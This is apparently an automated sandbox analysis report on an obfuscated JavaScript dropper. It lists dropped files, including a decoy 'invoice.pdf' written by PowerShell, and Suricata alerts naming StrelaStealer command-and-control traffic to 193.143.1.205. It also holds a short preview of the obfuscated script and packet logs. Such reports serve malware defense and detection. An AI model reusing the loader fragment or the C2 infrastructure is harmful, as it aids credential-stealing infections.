C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15111
Entropy (8bit):	5.364509082473095
Encrypted:	false
SSDEEP:	384:yCG2H3KIUeEX6pt2/JC9qEmGW5OgESqmS5SkmuH5IzDXQIiBXRA8bB0wVLVkVCVQ:DG6Zu8Wj
MD5:	CCAC6A6B0F9DA137FFA4C42977AE87A5
SHA1:	7435DA507707AC4AB039F48065AFAB09079F1721
SHA-256:	739C9657EF55298F19A54FA3FBE2C20BF0BB73E579EE9D9FB30FDA5F068FD09F
SHA-512:	A925348D958EAAE1A9B36DE8D37D2DE4AEA5CF0ECF7FE6715AD7172E86CA54DE4323381A0108EAFBBE2CDDD71C670082EA0DC72E86268FE2AEC45C34B89167CB
Malicious:	false
Preview:	SessionID=5d4afa2b-a5c7-4cdf-922f-1adb981314de.1736569169812 Timestamp=2025-01-10T23:19:29:812-0500 ThreadID=8168 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=5d4afa2b-a5c7-4cdf-922f-1adb981314de.1736569169812 Timestamp=2025-01-10T23:19:29:814-0500 ThreadID=8168 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=5d4afa2b-a5c7-4cdf-922f-1adb981314de.1736569169812 Timestamp=2025-01-10T23:19:29:814-0500 ThreadID=8168 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=5d4afa2b-a5c7-4cdf-922f-1adb981314de.1736569169812 Timestamp=2025-01-10T23:19:29:815-0500 ThreadID=8168 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=5d4afa2b-a5c7-4cdf-922f-1adb981314de.1736569169812 Timestamp=2025-01-10T23:19:29:815-0500 ThreadID=8168 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.413700792716227
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gR2O:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gR1
MD5:	966B2A01C22C67A5ADACB87EA6D45A10
SHA1:	9B64815CD16A75E91512A57085FB01CD83A71091
SHA-256:	D003C9713C535BE081D0BBB2966ED0C353D593D5815001BBB409E00B83DC613D
SHA-512:	3C62FC333797EDB8848FC415174CE3CB83336463831FD1D8F3087CAE22096187A8F7D37DDE8B635882810C999E1EE3CEAB5E9C810C67D47B6797313A80332CC4
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\441d49a2-ed0c-409f-9dfb-4f288ea18ee1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\6e32f217-7da4-4762-9514-243293937f5c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c1a96e26-6541-4dbf-a2a3-05481f1ed72e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\eca80c8d-1de9-463d-9b98-e6ace840ec1e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/oYZwYIGNPzWo7oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:gYZwZG5W9YGZn3mlind9i4ufFXpAXkru
MD5:	F1408C0FE2310A00B533065316206A1E
SHA1:	0F474C0B7650833832A7A74F10FBA6A2070198C0
SHA-256:	B32C3ACEAE00059294A3A8AB8022645E5F647537D3EC5965CFFD92AA5A61F4A7
SHA-512:	CF962138A74FDF909E92AC22B6EA46604598C84ED2E0BB08A94DB5A28F6EE23F57CA1E4F68FE96B9F2EA7C8CEEDC2B1E8B83A0503F981C5C1E0834E4775E87E5
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18339), with CRLF line terminators
Entropy (8bit):	4.883848878338553
TrID:
File name:	28926317492847332246.js
File size:	21'809 bytes
MD5:	21fabf69678016c2d463b35951ef2cea
SHA1:	88c3c026b28eeea763cfac810b80dee851c883b0
SHA256:	1e9da2e441d2cdbb13a59881211b46c6122947ca1e957cc4d967f7345424c41d
SHA512:	b0a3cc383978320983fe61135b17a0317cd6faec937662cb681898cb687fe569de18d60984c90fe4697bfa579cd0b48d335c660cf2c953b0c0acc4167cdf9b94
SSDEEP:	192:Iw1g+dqCyqSd0SdJEIBKbZKmtm7NbgyLP7iorHZ+VtxTW+4Cx+amYgBwmKrUJL2E:l1g+oCyP1/BKFKmk7NVXrHZ+0BSx72dF
TLSH:	65A235C0E44ABE17D8FC23FA16B6197219381B4D5EB8016C993B2684062467C7BF5EF6
File Content Preview:	function cfrgzgglf(){qklhv=[1031,3079,5127,4103,2055,3072];var kzoybvl=this[mqcczncpu+bhmveuq+niirjeen+iyycoqutj+knvftqzf+pajgl+mlipyy+zkghu](this[zhoqxy+rgupzp+vgtfpati+niirjeen+xgznzp+mqcczncpu+zkghu][rnzsua+niirjeen+knvftqzf+bhmveuq+zkghu+knvftqzf+rjfb

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:19:26.098326+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T05:19:26.098326+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T05:19:28.309864+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49700	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:19:25.280065060 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:25.285238028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:25.285315990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:25.366609097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:25.371710062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.098243952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.098263979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.098274946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.098287106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.098297119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.098308086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.098318100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.098325968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.098330021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.098341942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.098352909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.098383904 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.098395109 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.103286982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.153619051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.157072067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.157089949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.157144070 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.222630024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.222685099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.222722054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.222737074 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.222755909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.222795963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.222796917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.222927094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.222978115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.222989082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.223012924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.223046064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.223054886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.223083019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.223124981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.223885059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.223923922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.223958969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.223974943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.223993063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.224029064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.224035978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.224800110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.224838018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.224854946 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.224874973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.224908113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.224920034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.224945068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.224986076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.285799026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.285841942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.285888910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.326601982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.326621056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.326633930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.326679945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.347440004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.347459078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.347470999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.347484112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.347495079 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.347532034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.347614050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.347631931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.347645998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.347656012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.347656965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.347667933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.347678900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.347690105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.347692013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.347709894 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.347738981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.348460913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.348474979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.348485947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.348498106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.348521948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.348553896 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.348896027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.348908901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.348921061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.348931074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.348942041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.348952055 CET	80	49699	193.143.1.205	192.168.2.7
